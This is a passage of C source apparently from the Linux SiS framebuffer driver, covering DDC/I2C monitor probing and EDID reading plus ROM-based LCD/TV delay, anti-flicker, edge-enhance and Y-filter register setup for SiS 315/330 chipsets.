SiS_Private *SiS_Pr) { if(SiS_SetStart(SiS_Pr)) return 0xFFFF; if(SiS_WriteDDC2Data(SiS_Pr, (SiS_Pr->SiS_DDC_DeviceAddr | 0x01))) { return 0xFFFF; } return 0; } static unsigned short SiS_PrepareDDC(struct SiS_Private *SiS_Pr) { if(SiS_WriteDABDDC(SiS_Pr)) SiS_WriteDABDDC(SiS_Pr); if(SiS_PrepareReadDDC(SiS_Pr)) return (SiS_PrepareReadDDC(SiS_Pr)); return 0; } static void SiS_SendACK(struct SiS_Private *SiS_Pr, unsigned short yesno) { SiS_SetSCLKLow(SiS_Pr); if(yesno) { SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); } else { SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, 0); } SiS_SetSCLKHigh(SiS_Pr); } static unsigned short SiS_DoProbeDDC(struct SiS_Private *SiS_Pr) { unsigned char mask, value; unsigned short temp, ret=0; bool failed = false; SiS_SetSwitchDDC2(SiS_Pr); if(SiS_PrepareDDC(SiS_Pr)) { SiS_SetStop(SiS_Pr); return 0xFFFF; } mask = 0xf0; value = 0x20; if(SiS_Pr->SiS_DDC_DeviceAddr == 0xa0) { temp = (unsigned char)SiS_ReadDDC2Data(SiS_Pr); SiS_SendACK(SiS_Pr, 0); if(temp == 0) { mask = 0xff; value = 0xff; } else { failed = true; ret = 0xFFFF; } } if(!failed) { temp = (unsigned char)SiS_ReadDDC2Data(SiS_Pr); SiS_SendACK(SiS_Pr, 1); temp &= mask; if(temp == value) ret = 0; else { ret = 0xFFFF; if(SiS_Pr->SiS_DDC_DeviceAddr == 0xa0) { if(temp == 0x30) ret = 0; } } } SiS_SetStop(SiS_Pr); return ret; } static unsigned short SiS_ProbeDDC(struct SiS_Private *SiS_Pr) { unsigned short flag; flag = 0x180; SiS_Pr->SiS_DDC_DeviceAddr = 0xa0; if(!(SiS_DoProbeDDC(SiS_Pr))) flag |= 0x02; SiS_Pr->SiS_DDC_DeviceAddr = 0xa2; if(!(SiS_DoProbeDDC(SiS_Pr))) flag |= 0x08; SiS_Pr->SiS_DDC_DeviceAddr = 0xa6; if(!(SiS_DoProbeDDC(SiS_Pr))) flag |= 0x10; if(!(flag & 0x1a)) flag = 0; return flag; } static unsigned short SiS_ReadDDC(struct SiS_Private *SiS_Pr, unsigned short DDCdatatype, unsigned char *buffer) { unsigned short flag, length, i; unsigned char chksum,gotcha; if(DDCdatatype > 4) return 0xFFFF; flag = 0; SiS_SetSwitchDDC2(SiS_Pr); if(!(SiS_PrepareDDC(SiS_Pr))) { length = 127; if(DDCdatatype != 1) length = 255; chksum = 0; gotcha = 0; for(i=0; i<length; i++) { buffer[i] = (unsigned char)SiS_ReadDDC2Data(SiS_Pr); chksum += buffer[i]; gotcha |= buffer[i]; SiS_SendACK(SiS_Pr, 0); } buffer[i] = (unsigned char)SiS_ReadDDC2Data(SiS_Pr); chksum += buffer[i]; SiS_SendACK(SiS_Pr, 1); if(gotcha) flag = (unsigned short)chksum; else flag = 0xFFFF; } else { flag = 0xFFFF; } SiS_SetStop(SiS_Pr); return flag; } /* Our private DDC functions It complies somewhat with the corresponding VESA function in arguments and return values. Since this is probably called before the mode is changed, we use our pre-detected pSiS-values instead of SiS_Pr as regards chipset and video bridge type. Arguments: adaptnum: 0=CRT1(analog), 1=CRT2/LCD(digital), 2=CRT2/VGA2(analog) CRT2 DDC is only supported on SiS301, 301B, 301C, 302B. LCDA is CRT1, but DDC is read from CRT2 port. DDCdatatype: 0=Probe, 1=EDID, 2=EDID+VDIF, 3=EDID V2 (P&D), 4=EDID V2 (FPDI-2) buffer: ptr to 256 data bytes which will be filled with read data. Returns 0xFFFF if error, otherwise if DDCdatatype > 0: Returns 0 if reading OK (included a correct checksum) if DDCdatatype = 0: Returns supported DDC modes */ unsigned short SiS_HandleDDC(struct SiS_Private *SiS_Pr, unsigned int VBFlags, int VGAEngine, unsigned short adaptnum, unsigned short DDCdatatype, unsigned char *buffer, unsigned int VBFlags2) { unsigned char sr1f, cr17=1; unsigned short result; if(adaptnum > 2) return 0xFFFF; if(DDCdatatype > 4) return 0xFFFF; if((!(VBFlags2 & VB2_VIDEOBRIDGE)) && (adaptnum > 0)) return 0xFFFF; if(SiS_InitDDCRegs(SiS_Pr, VBFlags, VGAEngine, adaptnum, DDCdatatype, false, VBFlags2) == 0xFFFF) return 0xFFFF; sr1f = SiS_GetReg(SiS_Pr->SiS_P3c4,0x1f); SiS_SetRegANDOR(SiS_Pr->SiS_P3c4,0x1f,0x3f,0x04); if(VGAEngine == SIS_300_VGA) { cr17 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x17) & 0x80; if(!cr17) { SiS_SetRegOR(SiS_Pr->SiS_P3d4,0x17,0x80); SiS_SetReg(SiS_Pr->SiS_P3c4,0x00,0x01); SiS_SetReg(SiS_Pr->SiS_P3c4,0x00,0x03); } } if((sr1f) || (!cr17)) { SiS_WaitRetrace1(SiS_Pr); SiS_WaitRetrace1(SiS_Pr); SiS_WaitRetrace1(SiS_Pr); SiS_WaitRetrace1(SiS_Pr); } if(DDCdatatype == 0) { result = SiS_ProbeDDC(SiS_Pr); } else { result = SiS_ReadDDC(SiS_Pr, DDCdatatype, buffer); if((!result) && (DDCdatatype == 1)) { if((buffer[0] == 0x00) && (buffer[1] == 0xff) && (buffer[2] == 0xff) && (buffer[3] == 0xff) && (buffer[4] == 0xff) && (buffer[5] == 0xff) && (buffer[6] == 0xff) && (buffer[7] == 0x00) && (buffer[0x12] == 1)) { if(!SiS_Pr->DDCPortMixup) { if(adaptnum == 1) { if(!(buffer[0x14] & 0x80)) result = 0xFFFE; } else { if(buffer[0x14] & 0x80) result = 0xFFFE; } } } } } SiS_SetReg(SiS_Pr->SiS_P3c4,0x1f,sr1f); if(VGAEngine == SIS_300_VGA) { SiS_SetRegANDOR(SiS_Pr->SiS_P3d4,0x17,0x7f,cr17); } return result; } /* Generic I2C functions for Chrontel & DDC --------- */ static void SiS_SetSwitchDDC2(struct SiS_Private *SiS_Pr) { SiS_SetSCLKHigh(SiS_Pr); SiS_WaitRetrace1(SiS_Pr); SiS_SetSCLKLow(SiS_Pr); SiS_WaitRetrace1(SiS_Pr); } unsigned short SiS_ReadDDC1Bit(struct SiS_Private *SiS_Pr) { SiS_WaitRetrace1(SiS_Pr); return ((SiS_GetReg(SiS_Pr->SiS_P3c4,0x11) & 0x02) >> 1); } /* Set I2C start condition */ /* This is done by a SD high-to-low transition while SC is high */ static unsigned short SiS_SetStart(struct SiS_Private *SiS_Pr) { if(SiS_SetSCLKLow(SiS_Pr)) return 0xFFFF; /* (SC->low) */ SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); /* SD->high */ if(SiS_SetSCLKHigh(SiS_Pr)) return 0xFFFF; /* SC->high */ SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, 0x00); /* SD->low = start condition */ if(SiS_SetSCLKHigh(SiS_Pr)) return 0xFFFF; /* (SC->low) */ return 0; } /* Set I2C stop condition */ /* This is done by a SD low-to-high transition while SC is high */ static unsigned short SiS_SetStop(struct SiS_Private *SiS_Pr) { if(SiS_SetSCLKLow(SiS_Pr)) return 0xFFFF; /* (SC->low) */ SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, 0x00); /* SD->low */ if(SiS_SetSCLKHigh(SiS_Pr)) return 0xFFFF; /* SC->high */ SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); /* SD->high = stop condition */ if(SiS_SetSCLKHigh(SiS_Pr)) return 0xFFFF; /* (SC->high) */ return 0; } /* Write 8 bits of data */ static unsigned short SiS_WriteDDC2Data(struct SiS_Private *SiS_Pr, unsigned short tempax) { unsigned short i,flag,temp; flag = 0x80; for(i = 0; i < 8; i++) { SiS_SetSCLKLow(SiS_Pr); /* SC->low */ if(tempax & flag) { SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); /* Write bit (1) to SD */ } else { SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, 0x00); /* Write bit (0) to SD */ } SiS_SetSCLKHigh(SiS_Pr); /* SC->high */ flag >>= 1; } temp = SiS_CheckACK(SiS_Pr); /* Check acknowledge */ return temp; } static unsigned short SiS_ReadDDC2Data(struct SiS_Private *SiS_Pr) { unsigned short i, temp, getdata; getdata = 0; for(i = 0; i < 8; i++) { getdata <<= 1; SiS_SetSCLKLow(SiS_Pr); SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); SiS_SetSCLKHigh(SiS_Pr); temp = SiS_GetReg(SiS_Pr->SiS_DDC_Port,SiS_Pr->SiS_DDC_Index); if(temp & SiS_Pr->SiS_DDC_Data) getdata |= 0x01; } return getdata; } static unsigned short SiS_SetSCLKLow(struct SiS_Private *SiS_Pr) { SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NClk, 0x00); /* SetSCLKLow() */ SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT); return 0; } static unsigned short SiS_SetSCLKHigh(struct SiS_Private *SiS_Pr) { unsigned short temp, watchdog=1000; SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NClk, SiS_Pr->SiS_DDC_Clk); /* SetSCLKHigh() */ do { temp = SiS_GetReg(SiS_Pr->SiS_DDC_Port,SiS_Pr->SiS_DDC_Index); } while((!(temp & SiS_Pr->SiS_DDC_Clk)) && --watchdog); if (!watchdog) { return 0xFFFF; } SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT); return 0; } /* Check I2C acknowledge */ /* Returns 0 if ack ok, non-0 if ack not ok */ static unsigned short SiS_CheckACK(struct SiS_Private *SiS_Pr) { unsigned short tempah; SiS_SetSCLKLow(SiS_Pr); /* (SC->low) */ SiS_SetRegANDOR(SiS_Pr->SiS_DDC_Port, SiS_Pr->SiS_DDC_Index, SiS_Pr->SiS_DDC_NData, SiS_Pr->SiS_DDC_Data); /* (SD->high) */ SiS_SetSCLKHigh(SiS_Pr); /* SC->high = clock impulse for ack */ tempah = SiS_GetReg(SiS_Pr->SiS_DDC_Port,SiS_Pr->SiS_DDC_Index); /* Read SD */ SiS_SetSCLKLow(SiS_Pr); /* SC->low = end of clock impulse */ if(tempah & SiS_Pr->SiS_DDC_Data) return 1; /* Ack OK if bit = 0 */ return 0; } /* End of I2C functions ----------------------- */ /* =============== SiS 315/330 O.E.M. ================= */ #ifdef CONFIG_FB_SIS_315 static unsigned short GetRAMDACromptr(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr; if(SiS_Pr->ChipType < SIS_330) { romptr = SISGETROMW(0x128); if(SiS_Pr->SiS_VBType & VB_SIS30xB) romptr = SISGETROMW(0x12a); } else { romptr = SISGETROMW(0x1a8); if(SiS_Pr->SiS_VBType & VB_SIS30xB) romptr = SISGETROMW(0x1aa); } return romptr; } static unsigned short GetLCDromptr(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr; if(SiS_Pr->ChipType < SIS_330) { romptr = SISGETROMW(0x120); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) romptr = SISGETROMW(0x122); } else { romptr = SISGETROMW(0x1a0); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) romptr = SISGETROMW(0x1a2); } return romptr; } static unsigned short GetTVromptr(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr; if(SiS_Pr->ChipType < SIS_330) { romptr = SISGETROMW(0x114); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) romptr = SISGETROMW(0x11a); } else { romptr = SISGETROMW(0x194); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) romptr = SISGETROMW(0x19a); } return romptr; } static unsigned short GetLCDPtrIndexBIOS(struct SiS_Private *SiS_Pr) { unsigned short index; if((IS_SIS650) && (SiS_Pr->SiS_VBType & VB_SISLVDS)) { if(!(SiS_IsNotM650orLater(SiS_Pr))) { if((index = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) & 0xf0)) { index >>= 4; index *= 3; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) index += 2; else if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) index++; return index; } } } index = SiS_GetBIOSLCDResInfo(SiS_Pr) & 0x0F; if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) index -= 5; if(SiS_Pr->SiS_VBType & VB_SIS301C) { /* 1.15.20 and later (not VB specific) */ if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) index -= 5; if(SiS_Pr->SiS_LCDResInfo == Panel_1280x768) index -= 5; } else { if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) index -= 6; } index--; index *= 3; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) index += 2; else if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) index++; return index; } static unsigned short GetLCDPtrIndex(struct SiS_Private *SiS_Pr) { unsigned short index; index = ((SiS_GetBIOSLCDResInfo(SiS_Pr) & 0x0F) - 1) * 3; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) index += 2; else if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) index++; return index; } static unsigned short GetTVPtrIndex(struct SiS_Private *SiS_Pr) { unsigned short index; index = 0; if(SiS_Pr->SiS_TVMode & TVSetPAL) index = 1; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) index = 2; if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) index = 0; index <<= 1; if((SiS_Pr->SiS_VBInfo & SetInSlaveMode) && (SiS_Pr->SiS_TVMode & TVSetTVSimuMode)) { index++; } return index; } static unsigned int GetOEMTVPtr661_2_GEN(struct SiS_Private *SiS_Pr, int addme) { unsigned short index = 0, temp = 0; if(SiS_Pr->SiS_TVMode & TVSetPAL) index = 1; if(SiS_Pr->SiS_TVMode & TVSetPALM) index = 2; if(SiS_Pr->SiS_TVMode & TVSetPALN) index = 3; if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) index = 6; if(SiS_Pr->SiS_TVMode & TVSetNTSC1024) { index = 4; if(SiS_Pr->SiS_TVMode & TVSetPALM) index++; if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) index = 7; } if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if((!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) || (SiS_Pr->SiS_TVMode & TVSetTVSimuMode)) { index += addme; temp++; } temp += 0x0100; } return (unsigned int)(index | (temp << 16)); } static unsigned int GetOEMTVPtr661_2_OLD(struct SiS_Private *SiS_Pr) { return (GetOEMTVPtr661_2_GEN(SiS_Pr, 8)); } #if 0 static unsigned int GetOEMTVPtr661_2_NEW(struct SiS_Private *SiS_Pr) { return (GetOEMTVPtr661_2_GEN(SiS_Pr, 6)); } #endif static int GetOEMTVPtr661(struct SiS_Private *SiS_Pr) { int index = 0; if(SiS_Pr->SiS_TVMode & TVSetPAL) index = 2; if(SiS_Pr->SiS_ROMNew) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr525i) index = 4; if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) index = 6; if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) index = 8; if(SiS_Pr->SiS_TVMode & TVSetHiVision) index = 10; } else { if(SiS_Pr->SiS_TVMode & TVSetHiVision) index = 4; if(SiS_Pr->SiS_TVMode & TVSetYPbPr525i) index = 6; if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) index = 8; if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) index = 10; } if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) index++; return index; } static void SetDelayComp(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short delay=0,index,myindex,temp,romptr=0; bool dochiptest = true; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x20,0xbf); } else { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x35,0x7f); } /* Find delay (from ROM, internal tables, PCI subsystem) */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) { /* ------------ VGA */ if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { romptr = GetRAMDACromptr(SiS_Pr); } if(romptr) delay = ROMAddr[romptr]; else { delay = 0x04; if(SiS_Pr->SiS_VBType & VB_SIS30xB) { if(IS_SIS650) { delay = 0x0a; } else if(IS_SIS740) { delay = 0x00; } else if(SiS_Pr->ChipType < SIS_330) { delay = 0x0c; } else { delay = 0x0c; } } else if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { delay = 0x00; } } } else if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD|SetCRT2ToLCDA)) { /* ---------- LCD/LCDA */ bool gotitfrompci = false; /* Could we detect a PDC for LCD or did we get a user-defined? If yes, use it */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->PDC != -1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0xf0,((SiS_Pr->PDC >> 1) & 0x0f)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x35,0x7f,((SiS_Pr->PDC & 0x01) << 7)); return; } } else { if(SiS_Pr->PDCA != -1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0x0f,((SiS_Pr->PDCA << 3) & 0xf0)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x20,0xbf,((SiS_Pr->PDCA & 0x01) << 6)); return; } } /* Custom Panel? */ if(SiS_Pr->SiS_LCDResInfo == Panel_Custom) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { delay = 0x00; if((SiS_Pr->PanelXRes <= 1280) && (SiS_Pr->PanelYRes <= 1024)) { delay = 0x20; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0x0f,delay); } else { delay = 0x0c; if(SiS_Pr->SiS_VBType & VB_SIS301C) { delay = 0x03; if((SiS_Pr->PanelXRes > 1280) && (SiS_Pr->PanelYRes > 1024)) { delay = 0x00; } } else if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(IS_SIS740) delay = 0x01; else delay = 0x03; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0xf0,delay); } return; } /* This is a piece of typical SiS crap: They code the OEM LCD * delay into the code, at no defined place in the BIOS. * We now have to start doing a PCI subsystem check here. */ switch(SiS_Pr->SiS_CustomT) { case CUT_COMPAQ1280: case CUT_COMPAQ12802: if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) { gotitfrompci = true; dochiptest = false; delay = 0x03; } break; case CUT_CLEVO1400: case CUT_CLEVO14002: gotitfrompci = true; dochiptest = false; delay = 0x02; break; case CUT_CLEVO1024: case CUT_CLEVO10242: if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { gotitfrompci = true; dochiptest = false; delay = 0x33; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2D,delay); delay &= 0x0f; } break; } /* Could we find it through the PCI ID? If no, use ROM or table */ if(!gotitfrompci) { index = GetLCDPtrIndexBIOS(SiS_Pr); myindex = GetLCDPtrIndex(SiS_Pr); if(IS_SIS650 && (SiS_Pr->SiS_VBType & VB_SISLVDS)) { if(SiS_IsNotM650orLater(SiS_Pr)) { if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { /* Always use the second pointer on 650; some BIOSes */ /* still carry old 301 data at the first location */ /* romptr = SISGETROMW(0x120); */ /* if(SiS_Pr->SiS_VBType & VB_SIS302LV) */ romptr = SISGETROMW(0x122); if(!romptr) return; delay = ROMAddr[(romptr + index)]; } else { delay = SiS310_LCDDelayCompensation_650301LV[myindex]; } } else { delay = SiS310_LCDDelayCompensation_651301LV[myindex]; if(SiS_Pr->SiS_VBType & (VB_SIS302LV | VB_SIS302ELV)) delay = SiS310_LCDDelayCompensation_651302LV[myindex]; } } else if(SiS_Pr->SiS_UseROM && (!(SiS_Pr->SiS_ROMNew)) && (SiS_Pr->SiS_LCDResInfo != Panel_1280x1024) && (SiS_Pr->SiS_LCDResInfo != Panel_1280x768) && (SiS_Pr->SiS_LCDResInfo != Panel_1280x960) && (SiS_Pr->SiS_LCDResInfo != Panel_1600x1200) && ((romptr = GetLCDromptr(SiS_Pr)))) { /* Data for 1280x1024 wrong in 301B BIOS */ /* Data for 1600x1200 wrong in 301C BIOS */ delay = ROMAddr[(romptr + index)]; } else if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(IS_SIS740) delay = 0x03; else delay = 0x00; } else { delay = SiS310_LCDDelayCompensation_301[myindex]; if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(IS_SIS740) delay = 0x01; else if(SiS_Pr->ChipType <= SIS_315PRO) delay = SiS310_LCDDelayCompensation_3xx301LV[myindex]; else delay = SiS310_LCDDelayCompensation_650301LV[myindex]; } else if(SiS_Pr->SiS_VBType & VB_SIS301C) { if(IS_SIS740) delay = 0x01; /* ? */ else delay = 0x03; if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) delay = 0x00; /* experience */ } else if(SiS_Pr->SiS_VBType & VB_SIS30xB) { if(IS_SIS740) delay = 0x01; else delay = SiS310_LCDDelayCompensation_3xx301B[myindex]; } } } /* got it from PCI */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,0x0F,((delay << 4) & 0xf0)); dochiptest = false; } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { /* ------------ TV */ index = GetTVPtrIndex(SiS_Pr); if(IS_SIS650 && (SiS_Pr->SiS_VBType & VB_SISLVDS)) { if(SiS_IsNotM650orLater(SiS_Pr)) { if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { /* Always use the second pointer on 650; some BIOSes */ /* still carry old 301 data at the first location */ /* romptr = SISGETROMW(0x114); */ /* if(SiS_Pr->SiS_VBType & VB_SIS302LV) */ romptr = SISGETROMW(0x11a); if(!romptr) return; delay = ROMAddr[romptr + index]; } else { delay = SiS310_TVDelayCompensation_301B[index]; } } else { switch(SiS_Pr->SiS_CustomT) { case CUT_COMPAQ1280: case CUT_COMPAQ12802: case CUT_CLEVO1400: case CUT_CLEVO14002: delay = 0x02; dochiptest = false; break; case CUT_CLEVO1024: case CUT_CLEVO10242: delay = 0x03; dochiptest = false; break; default: delay = SiS310_TVDelayCompensation_651301LV[index]; if(SiS_Pr->SiS_VBType & VB_SIS302LV) { delay = SiS310_TVDelayCompensation_651302LV[index]; } } } } else if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { romptr = GetTVromptr(SiS_Pr); if(!romptr) return; delay = ROMAddr[romptr + index]; } else if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { delay = SiS310_TVDelayCompensation_LVDS[index]; } else { delay = SiS310_TVDelayCompensation_301[index]; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if(IS_SIS740) { delay = SiS310_TVDelayCompensation_740301B[index]; /* LV: use 301 data? BIOS bug? */ } else { delay = SiS310_TVDelayCompensation_301B[index]; if(SiS_Pr->SiS_VBType & VB_SIS301C) delay = 0x02; } } } if(SiS_LCDAEnabled(SiS_Pr)) { delay &= 0x0f; dochiptest = false; } } else return; /* Write delay */ if(SiS_Pr->SiS_VBType & VB_SISVB) { if(IS_SIS650 && (SiS_Pr->SiS_VBType & VB_SISLVDS) && dochiptest) { temp = (SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) & 0xf0) >> 4; if(temp == 8) { /* 1400x1050 BIOS (COMPAL) */ delay &= 0x0f; delay |= 0xb0; } else if(temp == 6) { delay &= 0x0f; delay |= 0xc0; } else if(temp > 7) { /* 1280x1024 BIOS (which one?) */ delay = 0x35; } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2D,delay); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,0xF0,delay); } } else { /* LVDS */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,0xF0,delay); } else { if(IS_SIS650 && (SiS_Pr->SiS_IF_DEF_CH70xx != 0)) { delay <<= 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,0x0F,delay); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,0xF0,delay); } } } } static void SetAntiFlicker(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,temp1,romptr=0; if(SiS_Pr->SiS_TVMode & (TVSetYPbPr750p|TVSetYPbPr525p)) return; if(ModeNo<=0x13) index = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].VB_StTVFlickerIndex; else index = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].VB_ExtTVFlickerIndex; temp = GetTVPtrIndex(SiS_Pr); temp >>= 1; /* 0: NTSC/YPbPr, 1: PAL, 2: HiTV */ temp1 = temp; if(SiS_Pr->SiS_UseROM && (!(SiS_Pr->SiS_ROMNew))) { if(SiS_Pr->ChipType >= SIS_661) { temp1 = GetOEMTVPtr661(SiS_Pr); temp1 >>= 1; romptr = SISGETROMW(0x260); if(SiS_Pr->ChipType >= SIS_760) { romptr = SISGETROMW(0x360); } } else if(SiS_Pr->ChipType >= SIS_330) { romptr = SISGETROMW(0x192); } else { romptr = SISGETROMW(0x112); } } if(romptr) { temp1 <<= 1; temp = ROMAddr[romptr + temp1 + index]; } else { temp = SiS310_TVAntiFlick1[temp][index]; } temp <<= 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x0A,0x8f,temp); /* index 0A D[6:4] */ } static void SetEdgeEnhance(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,temp1,romptr=0; temp = temp1 = GetTVPtrIndex(SiS_Pr) >> 1; /* 0: NTSC/YPbPr, 1: PAL, 2: HiTV */ if(ModeNo <= 0x13) index = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].VB_StTVEdgeIndex; else index = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].VB_ExtTVEdgeIndex; if(SiS_Pr->SiS_UseROM && (!(SiS_Pr->SiS_ROMNew))) { if(SiS_Pr->ChipType >= SIS_661) { romptr = SISGETROMW(0x26c); if(SiS_Pr->ChipType >= SIS_760) { romptr = SISGETROMW(0x36c); } temp1 = GetOEMTVPtr661(SiS_Pr); temp1 >>= 1; } else if(SiS_Pr->ChipType >= SIS_330) { romptr = SISGETROMW(0x1a4); } else { romptr = SISGETROMW(0x124); } } if(romptr) { temp1 <<= 1; temp = ROMAddr[romptr + temp1 + index]; } else { temp = SiS310_TVEdge1[temp][index]; } temp <<= 5; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x3A,0x1F,temp); /* index 0A D[7:5] */ } static void SetYFilter(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex) { unsigned short index, temp, i, j; if(ModeNo <= 0x13) { index = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].VB_StTVYFilterIndex; } else { index = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].VB_ExtTVYFilterIndex; } temp = GetTVPtrIndex(SiS_Pr) >> 1; /* 0: NTSC/YPbPr, 1: PAL, 2: HiTV */ if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) temp = 1; /* NTSC-J uses PAL */ else if(SiS_Pr->SiS_TVMode & TVSetPALM) temp = 3; /* PAL-M */ else if(SiS_Pr->SiS_TVMode & TVSetPALN) temp = 4; /* PAL-N */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) temp = 1; /* HiVision uses PAL */ if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { for(i=0x35, j=0; i<=0x38; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVYFilter2[temp][index][j]); } for(i=0x48; i<=0x4A; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVYFilter2[temp][index][j]); } } else { for(i=0x35, j=0; i<=0x38; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVYFilter1[temp][index][j]); } } } static void SetPhaseIncr(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char 